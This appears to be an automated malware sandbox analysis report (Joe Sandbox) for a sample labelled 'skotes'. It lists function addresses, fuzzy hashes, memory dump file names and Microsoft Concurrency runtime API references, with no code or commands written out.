Opcode ID: fb85090c1b7b3156abcf235f6817ac35c0c5575ce1f56403635ec521e9e70f1e
Instruction ID: baa08c05c171a1fbadaf88e97cb0b5d0d94930c5ca564a56a0c72fc0f6213fc4
Opcode Fuzzy Hash: fb85090c1b7b3156abcf235f6817ac35c0c5575ce1f56403635ec521e9e70f1e
Instruction Fuzzy Hash: 8B1159F334C104BF6283658157509F13AADD7C73303304426F287D5602F199AD857832

Function 04D406D4 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3286393593.0000000004D40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b9ecb3b032deb91e3443c3120270447c5db67b28d518cd36b489c80a6f1b685
Instruction ID: 2d84a800f5f3193891cd77eacaf32e9e00d1ef3a8924f17f2167618417e07143
Opcode Fuzzy Hash: 4b9ecb3b032deb91e3443c3120270447c5db67b28d518cd36b489c80a6f1b685
Instruction Fuzzy Hash: E10144B730C104BF618364901758AF63A6DE6C76307308826F683D5602F2999E853872

Function 04D40713 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3286393593.0000000004D40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 542acf623f08c60547e16e39aaac313a6b30e65671cb7b144361e51d7a36d711
Instruction ID: e7ce793799258287803b2b07db618a0b8980b96fce2f93305484831ed035cf0d
Opcode Fuzzy Hash: 542acf623f08c60547e16e39aaac313a6b30e65671cb7b144361e51d7a36d711
Instruction Fuzzy Hash: 9C01DBF734D015BF618390912795AF62BADE6C37303308827F687D5542F18D9E8A2573

Function 04D40753 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3286393593.0000000004D40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f016f7f1a44d1663291722f1e58c019975139e482dc6d796279df6260e67a98
Instruction ID: 66e83d21df886975a4c413c7926abb2be8a51216b3c702ff9c770ecc3accd568
Opcode Fuzzy Hash: 9f016f7f1a44d1663291722f1e58c019975139e482dc6d796279df6260e67a98
Instruction Fuzzy Hash: B5F0B4B734D111BFB183A0912754AF66A6DE5C6B30730C827F287C4402F6889D8A3832

Function 04D40767 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3286393593.0000000004D40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c62d52cea8f0c579f5151702a66997908db394b24b62dee1ad8e479f9cce4213
Instruction ID: 19cc90bb65a51627dcb8936bb8d725aad611074cc89c172fe8d4a355c9decb2d
Opcode Fuzzy Hash: c62d52cea8f0c579f5151702a66997908db394b24b62dee1ad8e479f9cce4213
Instruction Fuzzy Hash: DAF027B730D114BFA183A49127515F62B6CEAC27307308817F683C4101F6885D8A2472

Function 04D4078D Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3286393593.0000000004D40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f60852af1ae8a8fbea156b07db3ce183a2a612ab7407922fae3237bcb6dbb039
Instruction ID: a1f1982a1182bebd94b41328a98e88b9f6f931141d3433413b649b2f0764c5ad
Opcode Fuzzy Hash: f60852af1ae8a8fbea156b07db3ce183a2a612ab7407922fae3237bcb6dbb039
Instruction Fuzzy Hash: A0F0ABB724E200EFF2035A91164267A6F29EBD3330330841BF2C3C7142D92858022632

Function 04D407FB Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3286393593.0000000004D40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc83b1cc8db938d3876290a1a312d9e72afedcac393534375a74464e408e4f03
Instruction ID: 18bfebe11019638cdc882c5e2d28034d25469edce4094f2cfd2006584b6dd619
Opcode Fuzzy Hash: cc83b1cc8db938d3876290a1a312d9e72afedcac393534375a74464e408e4f03
Instruction Fuzzy Hash: 8DE0867370D1009FE253A49152857745768A7D7734B348422F3C3C9242E55A959B39A3

Non-executed Functions

Function 00BA0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA0F62

Part of subcall function 00BA265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00BA2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00BA0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00BA106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00BA10C1

Strings

(, xrefs: 00BA0F22

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 59ce967be32e287c72e062b7b7ac3bee9d7a32b6d7d540927ecc338fae807ad6
Instruction ID: a49ba28f5276ac64566daac4956e8458fcc3c38a043b845df97e82af319dddf4
Opcode Fuzzy Hash: 59ce967be32e287c72e062b7b7ac3bee9d7a32b6d7d540927ecc338fae807ad6
Instruction Fuzzy Hash: 6CB17BB0A04615EFCB28DF68D981A7EB7F4FF49304F1445AEE905AB281D730AD81CB90

Function 00BA1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00BA2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00BA1614

Part of subcall function 00BA2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00BA2E39
Part of subcall function 00BA2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00BA2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00BA1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00BA17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00BA17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00BA17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00BA180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00BA181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00BA1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00BA183B

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 9b3c2b9185c6467f3dc5662f162799faa19f5cfdbb98342c1d3d5ff4c2e6cec3
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 5D8157B1E04225AFCB19DFACC580A6DB7F6FF49304F154AA9D445AB701C730AD52CB84

Function 00BAEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BAEC81

Part of subcall function 00BA8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00BA8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00BAECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00BAECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00BAED0C

Part of subcall function 00BAE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00BAE7D7
Part of subcall function 00BAE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00BAE86F
Part of subcall function 00BAE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00BAE879
Part of subcall function 00BAE7AF: Concurrency::location::_Assign.LIBCMT ref: 00BAE8AD
Part of subcall function 00BAE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00BAE8B5

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: e34dfe5e904dec34dcf20294709eb14363276b1fb557e0911020dbe21ed91e05
Instruction ID: c39991993f5830258176c2d22130ced05e142387c6ef3382fc294335641c4be9
Opcode Fuzzy Hash: e34dfe5e904dec34dcf20294709eb14363276b1fb557e0911020dbe21ed91e05
Instruction Fuzzy Hash: BF51AF31A05205ABCF24EF60C895BADB7B1EF45310F1440E9E9567B3A2CB71AE05CBA1

Function 00B9CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00B9CBAA

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
